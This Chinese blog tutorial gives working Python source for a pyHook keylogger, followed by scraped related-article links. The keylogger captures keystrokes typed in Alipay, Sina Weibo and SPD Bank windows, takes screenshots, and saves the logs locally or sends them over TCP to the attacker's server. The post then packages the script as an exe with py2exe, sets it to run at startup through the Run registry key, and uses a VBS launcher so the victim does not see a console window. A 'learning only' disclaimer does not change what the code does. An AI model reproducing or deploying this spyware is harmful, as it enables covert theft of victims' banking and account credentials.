一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下
 
# -*- coding: utf-8 -*- #
 
import pythoncom
import pyHook   
import time
import socket
from PIL import ImageGrab
 
#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
    host=""
    port=1234
    buf_size=1024
    addr=(host,port)
    if len(msg)>0:
        tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        tcp_client_sock.connect(addr)
        info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
        tcp_client_sock.sendall(info+msg)
        tcp_client_sock.close()
         
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):   
    f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
    f.write(msg+'\r\n')
    f.close()
 
def onMouseEvent(event):
    # 监听鼠标事件    
    global MSG
    if len(MSG)!=0:       
        #send_msg_to_server(MSG)
        write_msg_to_txt(MSG)
        MSG=''
        pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
        #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
        pic = ImageGrab.grab()
        pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
    return True
   
def onKeyboardEvent(event):
    #监听键盘事件
    global MSG
    title= event.WindowName.decode('GBK')
    #通过网站title,判断当前网站是否是“监听目标”
    if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
        #Ascii:  8-Backspace , 9-Tab ,13-Enter
        if (127 >= event.Ascii > 31) or (event.Ascii == 8):
            MSG += chr(event.Ascii)              
        if (event.Ascii == 9) or (event.Ascii == 13):           
            #send_msg_to_remote(MSG)
            write_msg_to_txt(MSG)
            MSG = ''
            #屏幕抓图实现
            pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
            pic = ImageGrab.grab()
            #保存成为以日期命名的图片
            pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
    return True
  
if __name__ == "__main__":    
    MSG = ''  
    #创建hook句柄
    hm = pyHook.HookManager()
 
    #监控鼠标
    hm.SubscribeMouseLeftDown(onMouseEvent)
    hm.HookMouse()
 
    #监控键盘
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()
 
    #循环获取消息
    pythoncom.PumpMessages()
 
二、用py2exe将脚本打包:
    新建一个py文件setup.py,内容如下:
    from distutils.core import setup
    import py2exe
    setup(console=["monitor.py"])
    #setup(windows=["monitor.py"])
 
    命令行执行以下命令:
    python setup.py py2exe
    
三、将该程序设置为开机自动启动:
    法①:
    将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下
    法②:
    修改注册表:命令行— regedit ,然后到以下路径下:
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  
 
    新建一个“字符串值”,然后编辑:设置exe文件所在路径
    D:\workspace\mytest\pyhook\dist\monitor.exe
    
   (以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)
    法③:
    新建一个 .vbs文件,内容如下:
    set wscriptObj = CreateObject("Wscript.Shell")
    wscriptObj.run “D:\workspace\mytest\pyhook\dist\monitor.exe",0
 
    双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
    然后参考法①、② 把该vbs设置成开机启动即可。
 
附言:
1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、代码仅供分享、学习,请勿干非法的事;
4、我也是初学,所以请随便喷;

pyHook监听用户鼠标、键盘事件的更多相关文章

  1. js中对arry数组的各种操作小结 瀑布流AJAX无刷新加载数据列表--当页面滚动到Id时再继续加载数据 web前端url传递值 js加密解密 HTML中让表单input等文本框为只读不可编辑的方法 js监听用户的键盘敲击事件,兼容各大主流浏览器 HTML特殊字符

    js中对arry数组的各种操作小结   最近工作比较轻松,于是就花时间从头到尾的对js进行了详细的学习和复习,在看书的过程中,发现自己平时在做项目的过程中有很多地方想得不过全面,写的不够合理,所以说啊 ...

  2. js监听用户的键盘敲击事件,兼容各大主流浏览器

    js监听用户的键盘敲击事件,兼容各大主流浏览器 <script type="text/javascript"> document.onkeydown = functio ...

  3. vue使用element-ui的el-input监听不了键盘事件解决

    vue使用element-ui的el-input监听不了键盘事件,原因应该是element-ui自身封装了一层div在input标签外面,把原来的事件隐藏了,所以如下代码运行是无响应的: <el ...

  4. JAVA之旅(三十一)——JAVA的图形化界面,GUI布局,Frame,GUI事件监听机制,Action事件,鼠标事件

    JAVA之旅(三十一)--JAVA的图形化界面,GUI布局,Frame,GUI事件监听机制,Action事件,鼠标事件 有段时间没有更新JAVA了,我们今天来说一下JAVA中的图形化界面,也就是GUI ...

  5. Python——pyHook监听鼠标键盘事件

    pyHook包为Windows中的全局鼠标和键盘事件提供回调. 底层C库报告的信息包括事件的时间,事件发生的窗口名称,事件的值,任何键盘修饰符等. 而正常工作需要pythoncom等操作系统的API的 ...

  6. js 监听手机端键盘弹出和收起事件

    //这里区分不同系统,可以参考之前的文档记录 https://www.cnblogs.com/wind-wang/p/10737110.html const ua = typeof window == ...

  7. Android如何监听蓝牙耳机的按键事件(转)

    源: Android如何监听蓝牙耳机的按键事件 写在前面: 直接想要代码很简单,你直接把滚动条拉到最底端就可以看到.如果想要十分地了解为什么,那就按照我规划的一步一步来理解.以下测试环境以手头上有的「 ...

  8. Android怎样监听蓝牙耳机的按键事件

    Android怎样监听蓝牙耳机的按键事件 写在前面: 直接想要代码非常easy,你直接把滚动栏拉到最底端就能够看到.假设想要十分地了解为什么,那就依照我规划的一步一步来理解.下面測试环境以手头上有的「 ...

  9. 【转】Qt鼠标键盘事件

    http://blog.csdn.net/lovebird_27/article/details/50351336 Qt 程序需要在main()函数创建一个QCoreApplication对象,然后调 ...

随机推荐

  1. PNG格式图片常见转换方法

    前言 最近碰到一个需要将图片由原始的PNG转化为JPG的需求,由于PNG图片本身质量等原因,导致转化为JPG之后,存在失真的问题,后来一个同事分享了下述的HighQualityPNGToJPG方法解决 ...

  2. testng入门教程9 TestNG依赖测试

    有时候,你可能需要在一个特定的顺序调用方法在测试案例,或你想分享一些数据和方法之间的状态.TestNG支持这种依赖测试方法之间的显式依赖它支持声明. TestNG允许指定依赖,无论与否: 使用属性de ...

  3. 7.4 Models -- Pushing Records into the Store

    一.概述 1. store是作为一个所有records的缓存,这些records已经被你的应用程序加载.在你的app中如果你的路由或者一个controller请求一条record,如果它在缓存中这个s ...

  4. VS2010/MFC编程入门之四十(文档、视图和框架:各对象之间的关系)

    前面一节中鸡啄米进行了文档.视图和框架的概述,本节主要讲解文档.视图.框架结构中各对象之间的关系. 各个对象之间的关系 文档.视图.框架结构中涉及到的对象主要有:应用程序对象.文档模板对象.文档对象. ...

  5. uva11383 转化为 二分图匹配

    给定一个n*n矩阵,每个格子里都有一个正整数w(i,j).你的任务是给每行确定一个整数row(i),没列也确定一个正整数col(i),使得对于任意格子(i,j),w(i,j) <= row(i) ...

  6. PLSQL入门:cursor传参,loop fetch使用,if使用,单引号字符表示

    1.cursor传入参数 定义:cursor [cursor变量名称]([参数名称] [参数类型]) IS [SQL语句,可以使用传入参数] 例子:    cursor moTypeNames(dom ...

  7. IEEE发布2017年编程语言排行榜:Python高居首位,java第三,php第八

    2017年7月18日,IEEE Spectrum 发布了第四届顶级编程语言交互排行榜.因为有各种不同语言的排行,所以 IEEE Spectrum 依据不同的变量对流行度进行了排行.据 IEEE Spe ...

  8. nginx+tomcat把带WWW域名自动跳转到不带www域名方法

    nginx+tomcat把带WWW域名自动跳转到不带www域名方法在nginx.conf里面 include /etc/nginx/conf.d/*.conf;在应该server里增加: if ($h ...

  9. centos infiniband网卡安装配置

    硬件:Mellanox InfiniBand,主要包括 HCA(主机通道适配器)和交换机两部分 软件:CentOS 6.4 MLNX_OFED_LINUX-2.1-1.0.0-rhel6.4-x86_ ...

  10. 开启你的kali linux DIY之旅

    更新源 首先 是kali2016.2更新源的问题,网上找了好久,都不是很满意.后来把kali 2016.2安装到实体机中才发现,里面自带了更新源.下面我把这个官方自带更新源分享出来(速度蛮快的) de ...